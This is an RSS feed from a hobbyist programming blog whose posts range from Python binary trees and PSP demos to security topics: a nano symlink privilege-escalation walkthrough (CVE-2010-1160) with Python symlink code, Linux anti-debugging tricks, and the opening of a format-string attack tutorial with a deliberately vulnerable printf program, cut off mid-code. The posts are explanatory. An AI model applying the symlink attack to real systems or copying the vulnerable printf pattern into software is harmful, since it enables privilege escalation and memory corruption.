<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>MAIN.LV</title>
		<link>http://www.main.lv/</link>
		<description>by main.lv</description>
		<language>lv-lv</language>
		<pubDate>Sun, 5 Sep 2010 08:34:14 GMT</pubDate>
		<atom:link href="http://www.main.lv/posts/rss/" rel="self" type="application/rss+xml" />
		<generator>CakePHP</generator>
		<managingEditor>dos21h@gmail.com</managingEditor>
		<webMaster>dos21h@gmail.com</webMaster>
				<item>
			<title>ELF text section</title>
			<link>http://www.main.lv/posts/view/elf-text-section</link>
			<description>This code based on &lt;br&gt;&lt;br&gt;&lt;a href="http://toku.es/2010/06/text-writable/"&gt;.text writable&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;
Find out .text section and make it writable.
&lt;br&gt;segmentcheck.h contains two functions
&lt;br&gt;
&lt;br&gt;&lt;blockquote&gt;&lt;i&gt;int sec_text_check( FILE* );
&lt;br&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;br&gt;check if given file have .text writable section or not. return 0 if&amp;nbsp; fasle&lt;br&gt;, 1 if true and -1 if there was some kind error.&lt;br&gt;&lt;br&gt;&lt;blockquote&gt;&lt;i&gt;int sec_text_set( FILE* , int );&lt;br&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br&gt;set section segment to writable/unwritable depends on second value that can&lt;br&gt;be 0 or 1.&lt;br&gt;
&lt;br&gt;&lt;b&gt;Code:
&lt;/b&gt;&lt;br&gt;
&lt;br&gt;Source includes two tests for both functions.&lt;br&gt;&lt;br&gt;I have not tested both functions very whell. That whay there can be some error.&lt;br&gt;I have used used that for proving concept. And have checked result with&lt;br&gt;&lt;br&gt;&lt;i&gt;test1 &lt;/i&gt;&lt;br&gt;&lt;br&gt;and&lt;br&gt;&lt;br&gt;&lt;i&gt;readelf -l simple&lt;/i&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="/files/download/88"&gt;Source&lt;/a&gt;</description>
			<pubDate>Mon, 23 Aug 2010 11:22:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/93</guid>
		</item>
				<item>
			<title>Snake by wudu</title>
			<link>http://www.main.lv/posts/view/snake-by-wudu</link>
			<description>Terminal snake. First project in python by wudu&lt;br&gt;&lt;br&gt;&lt;b&gt;Author&lt;/b&gt;: wudu&lt;br&gt;
&lt;br&gt;
&lt;br&gt;&lt;a href="/files/download/86"&gt;Source&lt;/a&gt;</description>
			<pubDate>Mon, 26 Jul 2010 22:42:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/92</guid>
		</item>
				<item>
			<title>Python MIT Binary Trees</title>
			<link>http://www.main.lv/posts/view/python-mit-binary-trees</link>
			<description>After reading chapter form MIT Introduction in algorithms about trees I have implemented same algorithm in python&lt;br&gt;I haven't tryed to make best perfomance only easy to understund and one to one like is in pseudo-code&lt;br&gt;&lt;br&gt;Tree python class that are used to represent BinaryTree.&lt;br&gt;&lt;code lang="python"&gt;class Tree:
	p = None
	left = None
	right = None
	key = 0&lt;/code&gt;&lt;br&gt;&lt;i&gt;pseudo-code&lt;/i&gt;&lt;code lang="python"&gt;
Inorder_Tree_Walk( x )
if x != NIL
    then Inorder_Tree_Walk( left[x] )
        print key[x]
        Inorder_Tree_Walk( right[x] )
&lt;br&gt;&lt;/code&gt;&lt;br&gt;python code&lt;br&gt;

&lt;code lang="python"&gt;def inorder_tree_walk( t ):
    if t != None:
        inorder_tree_walk( t.left )
        print t.key,
        inorder_tree_walk( t.right )&lt;/code&gt;&lt;br&gt;pseudo code&lt;br&gt;&lt;code lang="python"&gt;Tree_Search( x , k )
if x = NIL or k = key[x]
    then return x
if k &amp;lt; key[x]
    then return Tree_Search( left[x] , k )
    else return Tree_Search( right[x] , k )&lt;/code&gt;&lt;br&gt;python code&lt;code lang="python"&gt;def tree_search( t , k ):
    if (t == None) or (k == t.key):
        return t
    if k &amp;lt; t.key:
        return tree_search( t.left, k )
    return tree_search( t.right, k )&lt;/code&gt;&lt;br&gt;pseudo code&lt;code lang="python"&gt;Tree_Minimum( x )
while left[x] != NIL
    do x &amp;lt;- left[x]
return x&lt;/code&gt;python code&lt;code lang="python"&gt;def tree_minimum( t ):
    while t.left != None:
        t = t.left
    return t&lt;/code&gt;pseudo code&lt;code lang="python"&gt;Tree_Maximum( x )
while right[x] != NIL
    do x &amp;lt;- right[x]
return x&lt;/code&gt;python code&lt;code lang="python"&gt;def tree_maximum( t ):
    while t.right != None:
        t = t.right
    return t&lt;/code&gt;python code&lt;code lang="python"&gt;def tree_root( t ):
    while ( t.p != None):
        t = t.p
    return t&lt;/code&gt;pseudo code&lt;code lang="python"&gt;Tree_Successor( x )
if right[x] != NIL
    then return Tree_Minimum( right[x] )
y &amp;lt;- p[x]
while y != NIL and x = right[y]
    do  x &amp;lt;- y
        y &amp;lt;- p[y]
return y&lt;/code&gt;&lt;br&gt;&lt;br&gt;python code&lt;code lang="python"&gt;def tree_successor( t ):
    if t.right != None:
        return tree_minimum( t.right )
    y = t.p
    while (y != None) and (t == y.right):
        t = y
        y = y.p
    return y&lt;/code&gt;pseudo code&lt;br&gt;&lt;code lang="python"&gt;Tree_Insert( T , z )
y &amp;lt;- NIL
x &amp;lt;- root[T]
while x != NIL
    do y &amp;lt;- x
        if key[z] &amp;lt; key[x]
            then x &amp;lt;- left[x]
            else x &amp;lt;- right[x]
p[x] &amp;lt;- y
if y = NIL
    then root[T] &amp;lt;- z
    else if key[z] &amp;lt; key[y]
        then left[y] &amp;lt;- z
        else right[y] &amp;lt;- z&lt;/code&gt;python code&lt;code lang="python"&gt;def tree_insert( t , z ):
    y = None
    x = tree_root( t )
    while x != None:
        y = x
        if z.key &amp;lt; x.key:
            x = x.left
        else:
            x = x.right
    z.p = y
    if y == None:
        r = tree_root( t )
        r = z
    else:
        if z.key &amp;lt; y.key:
            y.left = z
        else:
            y.right = z&lt;/code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code lang="python"&gt;def tree_insert_recrusive( t , z ):
    if t.left == None and t.right == None:
        if z.key &amp;lt; t.key:
            t.left = z
        else:
            t.right = z
        return
    if z.key &amp;lt; t.key:
        tree_insert_recrusive( t.left , z )
    else:
        tree_insert_recrusive( t.right , z )&lt;/code&gt;&lt;br&gt;pseudo code&lt;code lang="python"&gt;Tree_Delete( T , z )
if left[z] = NIL or right[z] = NIL
    then y &amp;lt;- z
    else y &amp;lt;- Tree_Successor( z )
if left[y] != NIL
    then x &amp;lt;- left[y]
    else x &amp;lt;- right[y]
if x != NIL
    then p[x] &amp;lt;- p[y]
if p[y] = NIL
    then root[T] &amp;lt;- x
    else if y = left[p[y]]
        then left[p[y]] &amp;lt;- x
        else right[p[y]] &amp;lt;- x
if y != z
    then key[z] &amp;lt;- key[y]
return y&lt;/code&gt;&lt;br&gt;python code&lt;code lang="python"&gt;def tree_delete( t , z ):
    if (z.left == None) or (z.right == None):
        y = z
    else:
        y = tree_successor( z )
    if y.left != None:
        x = y.left
    else:
        x = y.right
    if x != None:
        x.p = y.p
    if y.p == None:
        r = tree_root( t )
        r = x
        t = r
    else:
        if y == y.p.left:
            y.p.left = x
        else:
            y.p.right = x
    if y != z:
        z.key = y.key
    return y&lt;/code&gt;&lt;br&gt;Example of usage:&lt;br&gt;Now we can use out tree. There is some more functions like create_tree that creates binary tree from given array. &lt;br&gt;And print_tree that print all ree values.&lt;br&gt;&lt;code lang="python"&gt;keys = [10,6,1,0,3,8,7,9,21,15,11,17,25,23,46]
max_deep = log(len(keys),2)
&lt;/code&gt;&lt;br&gt;
&lt;code lang="python"&gt;
def create_tree( n=0 , p=None):
    if (len(keys) == 0) or (n &amp;gt;= max_deep):
        return None
    t = Tree()
    t.p = p
    t.key = keys.pop(0)
    t.left = create_tree( n+1 , t )
    t.right = create_tree( n+1 , t)
    return t
&lt;/code&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;code lang="python"&gt;def print_tree( t ):
    if (t != None) and (t.key != None):
        if t.left == t.right == None:
            print "Key:%d "%(t.key)
            return
        if t.left.key == None:
            print "Key:%d Right:%d"%(t.key,t.right.key)
            print_tree( t.right )
            return
        if t.right.key == None:
            print "Key:%d Left:%d"%(t.key,t.left.key)
            print_tree( t.left )
            return
        print "Key:%d Left:%d Right:%d"%(t.key,t.left.key,t.right.key)
        print_tree( t.left )
        print_tree( t.right )
&lt;/code&gt;&lt;br&gt;&lt;br&gt;

&lt;code lang="python"&gt;t = create_tree()
r = tree_search( t, 10 )
n = Tree()
n.key = 150
tree_insert_recrusive( t , n )
inorder_tree_walk( t )
print ""
tree_delete( t , r )
inorder_tree_walk( t )
print ""
r = tree_root( t )
print r.key&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;

&lt;a href="/files/download/85"&gt;Source&lt;/a&gt;
&lt;br&gt;</description>
			<pubDate>Tue, 20 Jul 2010 16:02:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/91</guid>
		</item>
				<item>
			<title>PSP sample color filled rectangle</title>
			<link>http://www.main.lv/posts/view/psp-sample-color-filled-rectangle</link>
			<description>This is sample where is drawn colofilled rectangle. Used functions was taken from
&lt;br&gt;&lt;a href="http://nino.nu/sokoban.html"&gt;pspsokoban&lt;/a&gt; 
and 
&lt;a href="http://code.google.com/p/valentine-hbl/"&gt;valentine-hbl&lt;/a&gt;. 
To take screenshot press SELECT
&lt;br&gt;for exit press HOME. &lt;br&gt;
&lt;br&gt;As it very simple to code and easy to see what is inside. It can be first&lt;br&gt;programm that you would try to modify and test on PSP.
&lt;br&gt;
&lt;br&gt;&lt;b&gt;Tested:&lt;/b&gt;&lt;br&gt;valentine-hbl - R86
&lt;br&gt;firmware - 6.20
&lt;br&gt;model - 3003
&lt;br&gt;
&lt;br&gt;&lt;a href='/files/pspFilledRect.tar.gz'&gt;Source&lt;/a&gt;
&lt;br&gt;
</description>
			<pubDate>Fri, 25 Jun 2010 17:27:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/90</guid>
		</item>
				<item>
			<title>CVS 2010-1160 Exploiting nano</title>
			<link>http://www.main.lv/posts/view/cvs-2010-1160-nano-bug</link>
			<description>CVE-2010-1160 Nano Changed File Symlink Privilege Escalation&lt;br&gt;&lt;br&gt;Usualy if I have to edit some file I am using nano editor.&lt;br&gt;It is almost on every distribution and easy and fast to use. Some time ago i hated vim&lt;br&gt;beacouse of Ctrl-D =] and that way used nano or pico. Now I know how to exit from vim :q!. After this bug&lt;br&gt;reported in&amp;nbsp; CVE i was exited to check it out in real life. It is first bug that i have fully tested.&lt;br&gt;&lt;br&gt;This bug is fixed in newest versions. Testing all nano version this bug works &lt;br&gt;on &amp;lt; 2.1.7 versions now on my system is latest nano version and I have &lt;br&gt;compiled many &amp;lt; 2.1.7 versions to test this bug. &lt;br&gt;&lt;br&gt;To get your nano version run:&lt;br&gt;&lt;i&gt;$ nano -V&lt;/i&gt;&lt;br&gt;&lt;br&gt;When user is editing file nano don't check if it is edited by some &lt;br&gt;one else. When saving file it simply save it and dont check if it was modified. If file was changed by some one else &lt;br&gt;then nano will overwrite it with his text. But it can be changed to symlink that points to other file. How to use it in real life:&lt;br&gt;&lt;br&gt;1) Open file with nano&lt;br&gt;2) Change file or set symlink&lt;br&gt;3) Make changes in file and save file in nano&lt;br&gt;4) See result in symlinked file&lt;br&gt;&lt;br&gt;Everytning looks like&lt;br&gt;&lt;i&gt;$nano text.txt&lt;/i&gt;&lt;br&gt;Now some one do:&lt;br&gt;&lt;i&gt;$ls -s empty.txt text.txt&lt;/i&gt;&lt;br&gt;Nano save&lt;br&gt;whach you save in text.txt&lt;br&gt;&lt;br&gt;In&amp;nbsp; python it looks like:&lt;code lang="python"&gt;os.remove( "text.txt" )
open( "empty.txt" , "w" ).close()
os.symlink( "empty.txt" , "text.txt"&lt;/code&gt;&lt;a href="/files/download/82"&gt;Python step by step&lt;/a&gt;

&lt;br&gt;&lt;br&gt;If you are root and opening file with owner isnt you. Than owner while you &lt;br&gt;editing his file can set&lt;br&gt;symlink to some "/etc/important.conf" and you will overwrite it with some &lt;br&gt;other unrelated info. This can make some harm to your system.&lt;br&gt;&lt;br&gt;How can it be exploited in real life by "small unpreviliged user". Make some interesting file &lt;br&gt;that root will interested in. Make some process that whachs nanos running in system. If nano opened file is our , symlink it.&lt;br&gt;&lt;br&gt;1)Detect running nano in system&lt;br&gt;2)Check with file is opened&lt;br&gt;3)If file is yours make symlink&lt;br&gt;&lt;br&gt;
&lt;a href="/files/download/83"&gt;Nano catch&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Script is only for user and dont work if you try to symlink root opened nano. It makes&lt;br&gt;all steps as described above. Change script variables for your tests:&lt;code lang="python"&gt;debug = True
nano = "nano-2.0.9"
user = "user"
sym_path="/home/user/empty.txt"&lt;/code&gt;Tested only with python 2.6.5&lt;br&gt;&lt;br&gt;&lt;br&gt;Simply be uptodated or if you using old nano dont open with privileged user unpriveleged user files. &lt;br&gt;It will save you from this bug.&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Linkage:&lt;/b&gt;&lt;br&gt;[1] http://osvdb.org/show/osvdb/63872&lt;br&gt;[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-1160&lt;br&gt;[3] http://drosenbe.blogspot.com/2010/03/nano-as-root.html&lt;br&gt;[4] http://svn.savannah.gnu.org/viewvc/trunk/nano/ChangeLog?revision=4503&amp;amp;amp;root=nano&amp;amp;amp;view=markup&lt;br&gt;&lt;br&gt;</description>
			<pubDate>Sat, 24 Apr 2010 19:48:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/89</guid>
		</item>
				<item>
			<title>PSP snake game </title>
			<link>http://www.main.lv/posts/view/psp-snake-game</link>
			<description>When I saw ost about patapon exploit that worked on PSP FW 6.20 I was happy. &lt;br&gt;I was bought PSP-3004 for programming but i dont know that not always you can programm&lt;br&gt;your PSP, but now my dream come true 
&lt;a href="http://www.psp-hacks.com/2010/03/28/psp-6-20-exploit-released/"&gt;Link&lt;/a&gt;&lt;br&gt;
Since exploit relised I started to trying it. Then I compiled everything
that is needed to programm PSP and now I have my own dirty and unfinished
version of PSP snake game. It can be started at this moment only through exploit.
&lt;br&gt;&lt;a href="/files/download/81"&gt;Source&lt;/a&gt; </description>
			<pubDate>Sun, 4 Apr 2010 13:49:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/87</guid>
		</item>
				<item>
			<title>Python Manage Lynksys Router</title>
			<link>http://www.main.lv/posts/view/python-manage-lynksys-router</link>
			<description>Good fellow asked me to write some script that will help him to turn on/off passway to &lt;br&gt;global network. There was used linksys machine for controlling such stuff&lt;br&gt;&lt;br&gt;&lt;br&gt;Here is some code that login, change some rulles and logout. Also pygtk script that do&lt;br&gt;it in visual way&lt;br&gt;&lt;code lang="python"&gt;from linksys import *

ls = LinkSys( "http://192.168.1.1/" )
ls.login( "admin" , "admin" )
ls.setip( STATIC_IP , "gateway" , 10 , 66 , 66 , 66 )
ls.setip( STATIC_IP , "subnet" , 255 , 255 , 255 , 0  )
if ls.response():
	print "Succes"
else:
	print "O_O AIam BAd GUy -^-"
ls.logout()&lt;/code&gt;Everything was writen in early 2009. I have tested at that days. Now I don't have linksys machine &lt;br&gt;to test it.&lt;br&gt;&lt;br&gt;
&lt;a href="/files/download/78"&gt;Source&lt;/a&gt;
&lt;br&gt;</description>
			<pubDate>Tue, 16 Mar 2010 22:51:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/86</guid>
		</item>
				<item>
			<title>Linux antidebug 3</title>
			<link>http://www.main.lv/posts/view/linux-antidebug-3</link>
			<description>Now we will try to make disasm output whery unclear. We make jump with eax register&lt;br&gt;&lt;b&gt;Programm 1&lt;/b&gt;&lt;br&gt;&lt;code lang="asm"&gt;main:
	push lbl+1
	pop eax
	jmp eax	
lbl:
	db 0xe8
	mov eax, 4
	mov ebx, 1
	mov ecx, msg1
	mov edx, msg1_size
	int 80h
	
	mov eax, 1
	mov ebx, 0
	int 80h&lt;/code&gt;Output is same as source. Nothing changes&lt;br&gt;&lt;b&gt;&lt;br&gt;Dissassembler output 1&lt;/b&gt;&lt;br&gt;&lt;code lang="asm"&gt;
│ ....... ! main:                           ;xref o80482d7                                       │
│ ....... !   push        offset_804837d                                                         │
│ 8048379 !   pop         eax                                                                    │
│ 804837a !   jmp         eax                                                                    │
│ 804837c     db          0e8h                                                                   │
│ 804837d !                                                                                      │
│ ....... ! offset_804837d:                 ;xref o8048374                                       │
│ ....... !   mov         eax, 4                                                                 │
│ 8048382 !   mov         ebx, 1                                                                 │
│ 8048387 !   mov         ecx, strz_I_am_running__8049568                                        │
│ 804838c !   mov         edx, 0eh                                                               │
│ 8048391 !   int         80h                                                                    │
│ 8048393 !   mov         eax, 1                                                                 │
│ 8048398 !   mov         ebx, 0                                                                 │
│ 804839d !   int         80h &lt;/code&gt;Here we add only one instruction. We get jump adress and add 1. Disasm cannot calculate adress of jmp.&lt;br&gt;&lt;br&gt;&lt;b&gt;Programm 2&lt;/b&gt;&lt;br&gt;Like in first programm disasm think that we push correct adress and disasm it. And our byte 0xe9 is used &lt;br&gt;for disasm output. That nice.&lt;br&gt;&lt;code lang="asm"&gt;main:
	push lbl
	pop eax
	inc eax
	jmp eax
lbl:
	db 0xe9
	mov eax, 4
	mov ebx, 1
	mov ecx, msg1
	mov edx, msg1_size
	int 80h
	
	mov eax, 1
	mov ebx, 0
	int 80h&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Dissassembler output 2&lt;/b&gt;&lt;code lang="asm"&gt;
│ ....... ! main:                           ;xref o80482d7                                       │&lt;br&gt;
│ ....... !   push        offset_804837d                                                         │&lt;br&gt;
│ 8048379 !   pop         eax                                                                    │&lt;br&gt;
│ 804837a !   inc         eax                                                                    │&lt;br&gt;
│ 804837b !   jmp         eax                                                                    │&lt;br&gt;
│ 804837d !                                                                                      │&lt;br&gt;
│ ....... ! offset_804837d:                 ;xref o8048374                                       │&lt;br&gt;
│ ....... !   jmp         804883ah                                                               │&lt;br&gt;
│ 8048382     add         [ebx+1], bh                                                            │&lt;br&gt;
│ 8048388     mov         ecx, 8049568h                                                          │&lt;br&gt;
│ 804838d     mov         edx, 0eh                                                               │&lt;br&gt;
│ 8048392     int         80h                                                                    │&lt;br&gt;
│ 8048394     mov         eax, 1                                                                 │&lt;br&gt;
│ 8048399     mov         ebx, 0                                                                 │&lt;br&gt;
│ 804839e     int         80h &lt;/code&gt;&lt;br&gt;Now we add nop instruction after every line of our code. It doesnt have any imapct on programm work.&lt;br&gt;&lt;br&gt;&lt;b&gt;Programm 3&lt;/b&gt;
&lt;code lang="asm"&gt;main:
&lt;br&gt;	push lbl
&lt;br&gt;	pop eax
&lt;br&gt;	inc eax
&lt;br&gt;	jmp eax
&lt;br&gt;lbl:
&lt;br&gt;	db 0xe9
&lt;br&gt;	mov eax, 4
&lt;br&gt;	nop 
&lt;br&gt;	mov ebx, 1
&lt;br&gt;	nop
&lt;br&gt;	mov ecx, msg1
&lt;br&gt;	nop
&lt;br&gt;	mov edx, msg1_size
&lt;br&gt;	int 80h
&lt;br&gt;	
&lt;br&gt;	mov eax, 1
&lt;br&gt;	mov ebx, 0
&lt;br&gt;	jmp lbl2+1
&lt;br&gt;lbl2:
&lt;br&gt;	db 0xe9
&lt;br&gt;	int 80h
&lt;/code&gt;
Disasm output now is very nice. Output isnt very good. For first time when you view this output it is very unclear&lt;br&gt;about what exactly is done by this code.&lt;br&gt;&lt;br&gt;&lt;b&gt;Dissassembler output 3&lt;/b&gt;&lt;br&gt;&lt;code lang="asm"&gt;│ ....... ! main:                           ;xref o80482d7                                       │
│ ....... !   push        offset_804837d                                                         │
│ 8048379 !   pop         eax                                                                    │
│ 804837a !   inc         eax                                                                    │
│ 804837b !   jmp         eax                                                                    │
│ 804837d !                                                                                      │
│ ....... ! offset_804837d:                 ;xref o8048374                                       │
│ ....... !   jmp         804883ah                                                               │
│ 8048382     add         [eax+1bbh], dl                                                         │
│ 8048388     add         [eax+49578b9h], dl                                                     │
│ 804838e     or          [eax+0ebah], dl                                                        │
│ 8048394     add         ch, cl                                                                 │
│ 8048396     cmp         byte ptr [eax+1], 0bbh                                                 │
│ 804839d     add         [eax], al                                                              │
│ 804839f     add         [eax], al                                                              │
│ 80483a1     jmp         80483a4h                                                               │
│ 80483a3     jmp         98950475h  &lt;/code&gt;&lt;br&gt;Here is one more way how to make unclear jumo to other place. We using function&lt;br&gt;and inside function we change return adress by 1.&lt;br&gt;&lt;b&gt;&lt;br&gt;Programm 4&lt;/b&gt;&lt;br&gt;Thats also works fine. Disasm dont know real return adress ans and use 0xe8 as he think is better.&lt;code lang="asm"&gt;main:
	call fun
	db 0xe8
	mov eax, 4
	mov ebx, 1
	mov ecx, msg1
	mov edx, msg1_size
	int 80h
	
	mov eax, 1
	mov ebx, 0
	int 80h
	
fun:
	pop ebp
	inc ebp
	push ebp
	ret&lt;/code&gt;&lt;b&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;Dissassembler output 4&lt;/b&gt;&lt;br&gt;&lt;code lang="asm"&gt;│ ....... ! main:                           ;xref o80482d7                                       │
│ ....... !   call        sub_804839c                                                            │
│ 8048379 !   call        8048836h                                                               │
│ 804837e !   add         [ebx+1], bh                                                            │
│ 8048384 !   mov         ecx, strz_I_am_running__8049568                                        │
│ 8048389 !   mov         edx, 0eh                                                               │
│ 804838e !   int         80h                                                                    │
│ 8048390 !   mov         eax, 1                                                                 │
│ 8048395 !   mov         ebx, 0                                                                 │
│ 804839a !   int         80h                                                                    │
│ 804839c !                                                                                      │
│ ....... ! ;-----------------------                                                             │
│ ....... ! ;  S U B R O U T I N E                                                               │
│ ....... ! ;-----------------------                                                             │
│ ....... ! sub_804839c:                    ;xref c8048374                                       │
│ ....... !   pop         ebp                                                                    │
│ 804839d !   inc         ebp                                                                    │
│ 804839e !   push        ebp                                                                    │
│ 804839f !   ret  &lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;a href="/files/download/77"&gt;Source&lt;/a&gt;&lt;br&gt;</description>
			<pubDate>Fri, 5 Mar 2010 21:19:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/85</guid>
		</item>
				<item>
			<title>Linux antidebug 2</title>
			<link>http://www.main.lv/posts/view/linux-antidebug-2</link>
			<description>This is dirty solution it checks programms argv[0] name with your defined name&lt;br&gt;when running debuger such as gdb or ald name is chaned to fullpath name&lt;br&gt;user defined name from terminal is './main'.&lt;br&gt;&lt;code lang="c"&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int main( int argc , char **argv )
{
	pid_t pid,ppid;
	FILE *f;
	char str[128];
	char spid[10];
	
	//openfile and write ppid
	f = fopen( "pid.txt" , "w" );
	pid = getpid();
	fprintf(f,"%d ",pid);
	fclose( f );
	f = fopen( "pid.txt" , "r" );
	fscanf( f , "%s" , spid );
	fclose( f );
	
	strcpy( str , "cat /proc/" );
	strcat( str , &amp;amp;spid[0] );
	strcat( str , "/cmdline");
	printf( "[%s]\n", spid );
	system( str );
	
	printf("\n");
}&lt;/code&gt;&lt;br&gt;Dirty function that makes dirty solution at one place&lt;br&gt;&lt;code lang="c"&gt;int badppid( const char *real_name )
{
	pid_t pid,ppid;
	FILE *f;
	char str[128];
	char spid[10];
	&lt;br&gt;	f = fopen( "pid.txt" , "w" );
	pid = getpid();
	fprintf(f,"%d ",pid);
	fclose( f );
	
	
	f = fopen( "pid.txt" , "r" );
	fscanf( f , "%s" , spid );
	fclose( f );
	
	
	strcpy( str , "cat /proc/" );
	strcat( str , &amp;amp;spid[0] );
	strcat( str , "/cmdline &amp;gt; name.txt");
	system( str );
	
	f = fopen( "name.txt" , "r" );
	fscanf( f , "%s" , str );
	fclose( f );
	if ( strncmp(str,real_name,strlen(real_name)) != 0 )
	{
		return -1;
	}
	
	return 0;
}&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;a href="/files/download/75"&gt;Source&lt;/a&gt;&lt;br&gt;</description>
			<pubDate>Fri, 26 Feb 2010 22:17:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/84</guid>
		</item>
				<item>
			<title>Linux antidebug 1</title>
			<link>http://www.main.lv/posts/view/linux-antidebug-1</link>
			<description>When ptrace is used for programm debugin then only one ptrace can be attached to programm&lt;br&gt;when we trying run ptrace with PTRACE_TRACEME then we get&amp;nbsp; -1. I tested with gdb,ald. Also this method should&lt;br&gt;work with IDApro&lt;br&gt;&lt;code lang="c"&gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/ptrace.h&amp;gt;

long int ptraced()
{
	return (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1);
}

int main()
{
	if ( ptraced() )
	{
		printf("Ptraced!\n");
	}
	return 0;
}&lt;/code&gt;
&lt;br&gt;
&lt;br&gt;
&lt;a href="/files/download/72"&gt;Source&lt;/a&gt;
&lt;br&gt;
&lt;br&gt;&lt;br&gt;</description>
			<pubDate>Tue, 23 Feb 2010 18:54:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/83</guid>
		</item>
				<item>
			<title>Linux Local Descriptor Table</title>
			<link>http://www.main.lv/posts/view/linux-local-descriptor-table</link>
			<description>If 0x80**** adreeses is default nope. You can setup your own. Compiler will not see them&lt;br&gt;but you can do it. Setup LDT and you will see it.&lt;br&gt;
&lt;br&gt;
&lt;code lang="asm"&gt;use32
mov dword [0] ,"Hall"
mov dword [4] ,"Ball"
mov dword [8] ,"Mall"
mov dword [12],0x00000000&lt;/code&gt;yes everything starts from 0x0&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;code lang="c"&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;asm/ldt.h&amp;gt;

char new_segment[16];

int main()
{
	int r;
	
	struct user_desc *ldt;
	
	ldt = (struct user_desc*)malloc(sizeof(struct user_desc));
	
	ldt-&amp;gt;entry_number = 0;
	ldt-&amp;gt;base_addr = ((unsigned long)&amp;amp;new_segment);
	ldt-&amp;gt;limit = 16;
	ldt-&amp;gt;seg_32bit = 0x1;
	ldt-&amp;gt;contents = 0x0;
	ldt-&amp;gt;read_exec_only = 0x0;
	ldt-&amp;gt;limit_in_pages = 0x0;
	ldt-&amp;gt;seg_not_present = 0x0;
	ldt-&amp;gt;useable = 0x1;
	
	printf("Start\n");
	r = syscall( __NR_modify_ldt, 1 , ldt , sizeof(struct user_desc) );
	if ( r == -1 )
	{
		printf("Sorry\n");
		exit( 0 );
	}
	asm("pushl %ds");
	asm("movl $0x7, %eax"); /* 0111: 0-Index 1-Using the LDT table 11-RPL of 3 */
	asm("movl %eax, %ds");	
	asm(".byte 0xc7,0x5,0x0,0x0,0x0,0x0,0x48,0x61,\&lt;br&gt;                   0x6c,0x6c,0xc7,0x5,0x4,0x0,0x0,0x0,\&lt;br&gt;                   0x42,0x61,0x6c,0x6c,0xc7,0x5,0x8,0x0,\&lt;br&gt;                   0x0,0x0,0x4d,0x61,0x6c,0x6c,0xc7,0x5,\&lt;br&gt;                   0xc,0x0,0x0,0x0,0x0,0x0,0x0,0x0");
	asm("popl %ds");
	printf("End\n");
	
	printf("Segment [%s]\n",new_segment);
	
	free( ldt );
	
	return 0;
}
&lt;/code&gt;asm(".byte ... ") is code.bin&lt;br&gt;&lt;br&gt;Compile:&lt;br&gt;&lt;b&gt;fasm code.asm code.bin&lt;br&gt;gcc main.c -o main&lt;/b&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="/files/download/71"&gt;Source&lt;/a&gt;&lt;br&gt;</description>
			<pubDate>Sun, 24 Jan 2010 17:57:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/82</guid>
		</item>
				<item>
			<title>Vector Library</title>
			<link>http://www.main.lv/posts/view/vector-library</link>
			<description>Library with 2D vector functions.&lt;br&gt;&lt;br&gt;I have tested this library with 
&lt;a href="http://wiki.slembcke.net/main/published/Chipmunk"&gt;ChipMunk&lt;/a&gt; vector  and with 
&lt;a href="http://www.cs.cmu.edu/%7Eajw/doc/vl.html"&gt;VL&lt;/a&gt;vectors&lt;br&gt;
My implementation performs some +% in speed.&lt;br&gt;
&lt;a href="/files/download/70"&gt;Source&lt;/a&gt;&lt;br&gt;&lt;br&gt;
</description>
			<pubDate>Sat, 16 Jan 2010 18:46:00 +0200</pubDate>
			<guid>http://www.main.lv/posts/view/77</guid>
		</item>
				<item>
			<title>Linux Format String Attack 1</title>
			<link>http://www.main.lv/posts/view/linux-format-string-attack-1</link>
			<description>&lt;p&gt;Format string attack is attack for C formated strings. Format string function is &lt;strong&gt;prinrf()&lt;/strong&gt; there are other &lt;/p&gt;&lt;p&gt;functions that support format string.&lt;/p&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;p&gt;C code for bad used printf(): &lt;code lang="c"&gt;int main( int argc, char **argv )
{
	static int i = 0;
	char text[1000];
	strcpy(text, argv[1]);
	printf("%.8x\n",&amp;amp;i);
	printf("No way it never will works because value of i=%d\n",i);
	printf( text );
	printf("\nValue of i=%d\n",i);
	return 0;
